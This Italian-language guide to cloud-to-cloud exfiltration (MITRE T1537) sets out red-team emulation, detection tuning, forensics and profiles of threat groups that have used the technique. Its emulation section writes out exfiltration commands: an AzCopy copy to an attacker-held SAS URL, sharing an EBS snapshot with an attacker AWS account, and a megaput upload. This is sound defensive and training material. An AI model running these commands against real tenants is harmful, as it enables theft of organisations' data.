Esfiltrazione verso Account Cloud: Transfer Data to Cloud Account (T1537)

Il cuore di questa simulazione è dimostrare quanto sia banale, con credenziali cloud valide, spostare dati verso un account controllato dall'attaccante senza generare traffico di rete "anomalo". L'obiettivo del red team è replicare esattamente ciò che fanno i gruppi documentati: usare strumenti nativi o utility legittime per copiare dati da un tenant vittima verso un tenant avversario.

Scenario Azure con AzCopy. Storm-0501 ha utilizzato AzCopy, l'utility CLI ufficiale di Microsoft per trasferire dati da e verso Azure Storage (gratuito, distribuito da Microsoft). In laboratorio, dopo aver compromesso un Service Principal o un account con permessi su un container Blob, il trasferimento è immediato:

azcopy copy "https://.blob.core.windows.net/?<SAS-TOKEN-VITTIMA>" "https://.blob.core.windows.net/?<SAS-TOKEN-ATTACCANTE>" --recursive

Il flag --recursive copia l'intero albero di directory. Il traffico non esce mai dal backbone Azure. Per il red team, il punto critico è generare il SAS token con le permission minime (Read, List) — un'attività che simula l'abuso di una misconfiguration reale. Verificate nei log di CloudTrail o Azure Monitor se l'alert scatta entro la finestra temporale definita dal blue team.

Scenario AWS con snapshot cross-account. Su AWS la tecnica prevede la condivisione di uno snapshot EBS con un account esterno. La catena operativa in AWS CLI (gratuito) è:

aws ec2 create-snapshot --volume-id vol-<ID-VOLUME> --description "backup"

Una volta creato lo snapshot, si modifica il permesso di condivisione:

aws ec2 modify-snapshot-attribute --snapshot-id snap-<ID-SNAPSHOT> --attribute createVolumePermission --operation-type add --user-ids <ACCOUNT-ID-ATTACCANTE>

Dall'account attaccante si crea poi un volume dallo snapshot condiviso e si accede ai dati. L'intera operazione produce eventi CloudTrail specifici (CreateSnapshot, ModifySnapshotAttribute) ma il trasferimento dati effettivo avviene internamente ad AWS.

Scenario Mega con megatools. RedCurl ha utilizzato megatools (open source), un set di utility a riga di comando per interagire con il servizio Mega. Il comando base per l'upload è:

megaput --path /Root/exfil/ /percorso/dati/sensibili

Mentre INC Ransom ha preferito MEGAsync (gratuito), il client desktop ufficiale di Mega che sincronizza automaticamente cartelle locali con il cloud. In un engagement red team, configurare MEGAsync su una cartella contenente i dati raccolti simula fedelmente il comportamento osservato.

Per tutti gli scenari, documentate con precisione timestamp di inizio e fine trasferimento: il blue team dovrà correlare questi eventi con le proprie detection.

La sfida principale per il SOC su questa tecnica è che il traffico dati non attraversa il perimetro tradizionale. I firewall e i proxy non vedono nulla di anomalo perché i byte restano all'interno del cloud provider. La detection deve quindi spostarsi interamente sui log del control plane — le API call che orchestrano condivisioni, snapshot e generazione di link.

IaaS — AWS e Azure. La detection AN1580 è il punto di partenza. Su AWS, i log CloudTrail catturano eventi come ModifySnapshotAttribute, PutBucketPolicy, CreateSnapshot e CopySnapshot. L'alert deve correlare due eventi in sequenza temporale stretta: la creazione di uno snapshot seguita dalla modifica degli attributi di condivisione verso un account non presente nella whitelist. Il parametro di tuning [CrossAccountIDList] è fondamentale: va popolato con tutti gli account AWS dell'organizzazione e dei partner autorizzati. Tutto ciò che non è in lista merita un'analisi.

Su Azure, monitorare le operazioni Generate SAS e Set Blob Service Properties nei log di Azure Activity e Storage Analytics. L'uso di AzCopy verso storage account esterni produce eventi correlabili se il diagnostic logging è attivato sui container Blob.

Il parametro [VolumeSizeThresholdGB] va calibrato attentamente: un valore troppo basso genera rumore, uno troppo alto lascia passare efiltrazioni mirate. Iniziate con il 90° percentile dei trasferimenti legittimi e affinate in base al contesto.

Office 365 e SaaS. La detection AN1581 copre gli eventi di sharing su Microsoft 365 tramite i log Unified Audit. Gli eventi da monitorare sono SharingSet, AnonymousLinkCreated, SharingInvitationCreated e FileSyncDownloadedFull. Il tuning [SharingMethod] permette di distinguere tra link anonimi (massima priorità), link organizzativi e link ristretti. In ambienti dove la collaborazione esterna è comune, focalizzate gli alert sui link anonimi e sulle condivisioni verso domini non presenti nella [ExternalDomainList].

Per piattaforme SaaS come Google Drive e Box (AN1582), monitorare le API call di trasferimento proprietà (transfer ownership) e condivisione verso utenti esterni. Il parametro [UserContext] è prezioso: una condivisione massiva da parte di un account privilegiato o VIP giustifica un alert a priorità alta anche se il dominio destinatario è noto.

Gestione dei falsi positivi. I team DevOps e backup generano legittimamente snapshot cross-account e condivisioni massive. Create eccezioni basate su:

• Service account dedicati al backup con naming convention riconoscibile
• Fasce orarie note per i job di replica
• Account ID destinazione verificati e documentati

Ogni eccezione deve essere revisionata trimestralmente: un service account compromesso è il vettore perfetto per questa tecnica.

L'analisi forense di un'esfiltrazione cloud-to-cloud richiede un cambio di mentalità rispetto alla forensic tradizionale: non ci sono artefatti su disco fisico nel senso classico. La timeline si costruisce quasi interamente dai log del control plane e dagli audit trail delle piattaforme cloud.

CloudTrail come colonna vertebrale. Su AWS, CloudTrail è la fonte primaria. Ogni API call è registrata con timestamp, identità del chiamante (ARN), IP sorgente, parametri della richiesta e risultato. Per ricostruire un'esfiltrazione via snapshot, cercate la sequenza: CreateSnapshot → ModifySnapshotAttribute (con il campo add verso un account esterno) → eventuale DeleteSnapshot per coprire le tracce. Il campo sourceIPAddress rivela se l'azione è stata eseguita dalla console AWS, da CLI o da un'istanza EC2 compromessa — un dettaglio cruciale per stabilire il vettore di accesso iniziale.

Per i bucket S3, le modifiche alle policy (PutBucketPolicy, PutBucketAcl) che aggiungono principal esterni vanno ricostruite cronologicamente. AWS S3 Server Access Logging, se abilitato, cattura anche i successivi GET eseguiti dall'account attaccante, fornendo evidenza del trasferimento effettivo dei dati.

Azure Activity Log e Storage Analytics. Su Azure, gli Activity Log registrano operazioni come la generazione di SAS token e la modifica delle access policy sui container. Se Storm-0501 ha usato AzCopy con un SAS token, il token stesso contiene parametri leggibili — permessi concessi, data di scadenza, IP consentiti — che diventano artefatti forensi. I log di Storage Analytics (se attivati prima dell'incidente) mostrano ogni operazione di lettura sui blob, inclusi gli header della richiesta.

Unified Audit Log per Microsoft 365. Per le efiltrazioni via OneDrive o SharePoint, il log unificato di M365 conserva eventi di condivisione con dettaglio su: utente che condivide, tipo di link generato, dominio destinatario, file coinvolti. Esportate questi log con il cmdlet PowerShell Search-UnifiedAuditLog filtrando per le operazioni Sharing* e AnonymousLink* nel periodo sospetto.

Artefatti endpoint supplementari. Se l'attaccante ha usato megatools o MEGAsync su un host compromesso, cercate:

• Tracce di installazione o esecuzione nei log di processo (Sysmon EventID 1 su Windows, auditd su Linux)
• Cronologia comandi in .bash_history o nel registro PowerShell (ConsoleHost_history.txt)
• Artefatti di prefetch (Windows) per megaput.exe o megasync.exe
• Connessioni di rete verso i server Mega nei log del firewall host-based

La correlazione tra l'attività endpoint (esecuzione di AzCopy o megatools) e gli eventi cloud (creazione snapshot, generazione SAS) chiude il cerchio investigativo e permette di attribuire l'esfiltrazione a una specifica sessione compromessa.

I tre gruppi associati a questa tecnica condividono un tratto comune: sfruttano strumenti legittimi o servizi cloud commerciali per l'esfiltrazione, riducendo al minimo la necessità di infrastruttura C2 custom. Questa scelta operativa rende la detection più complessa ma offre pattern prevedibili.

Storm-0501 è un gruppo che opera con un modello orientato al ransomware e all'estorsione, con una forte componente di compromissione di ambienti cloud ibridi. L'uso di AzCopy come vettore di esfiltrazione non è casuale: è uno strumento Microsoft legittimo, presente nativamente in molti ambienti Azure, e il suo traffico si confonde con le normali operazioni di gestione dello storage. Questo indica un gruppo che conosce approfonditamente l'ecosistema Azure e seleziona tool che minimizzano le signature difensive. Il pattern suggerisce che organizzazioni con infrastrutture Azure ibride (on-prem + cloud) siano nel loro mirino primario.

INC Ransom ha scelto MEGAsync per l'esfiltrazione — un approccio più diretto che privilegia la velocità di trasferimento rispetto all'opsec. MEGAsync è un client desktop che sincronizza intere cartelle, il che suggerisce un modello operativo dove il tempo di permanenza post-compromissione è breve e la priorità è estrarre il massimo volume di dati prima del deployment del ransomware. Il servizio Mega offre cifratura end-to-end e account anonimi, rendendolo attraente per gruppi ransomware che operano con il modello della doppia estorsione.

RedCurl presenta un profilo diverso: storicamente focalizzato su spionaggio corporate piuttosto che ransomware, ha utilizzato le utility a riga di comando megatools per efiltrare verso Mega. La scelta di megatools (utility CLI open source) anziché del client grafico suggerisce operazioni scriptate e automatizzate, coerenti con un approccio più metodico e orientato alla persistenza.

Il pattern geografico che emerge vede Mega come piattaforma di esfiltrazione preferita da due gruppi su tre. Questo dato è operativamente rilevante: il monitoraggio del traffico DNS e delle connessioni verso i domini del servizio Mega dovrebbe essere una priorità per le organizzazioni a rischio. Tuttavia, bloccare semplicemente Mega non è sufficiente — Storm-0501 dimostra che il trasferimento può avvenire interamente all'interno del cloud provider, senza toccare servizi di terze parti.

Per anticipare l'evoluzione della minaccia, considerate che i meccanismi nativi di condivisione cloud (SAS URI in Azure, pre-signed URL in AWS, link anonimi in Google Workspace) offrono agli avversari un arsenale crescente di opzioni che non richiedono tool esterni. La prossima iterazione di questa tecnica potrebbe eliminare completamente la componente endpoint, operando solo tramite sessioni cloud compromesse.

Framework MITRE ATT&CK v16 — tecnica T1537 (Transfer Data to Cloud Account), tattica TA0010 (Exfiltration). Gruppi: G1053 (Storm-0501), G1032 (INC Ransom), G1039 (RedCurl). Mitigazioni: M1057, M1018, M1054, M1037. Detection: DET0573, AN1580, AN1581, AN1582. Integrato con conoscenza professionale per tool e procedure operative.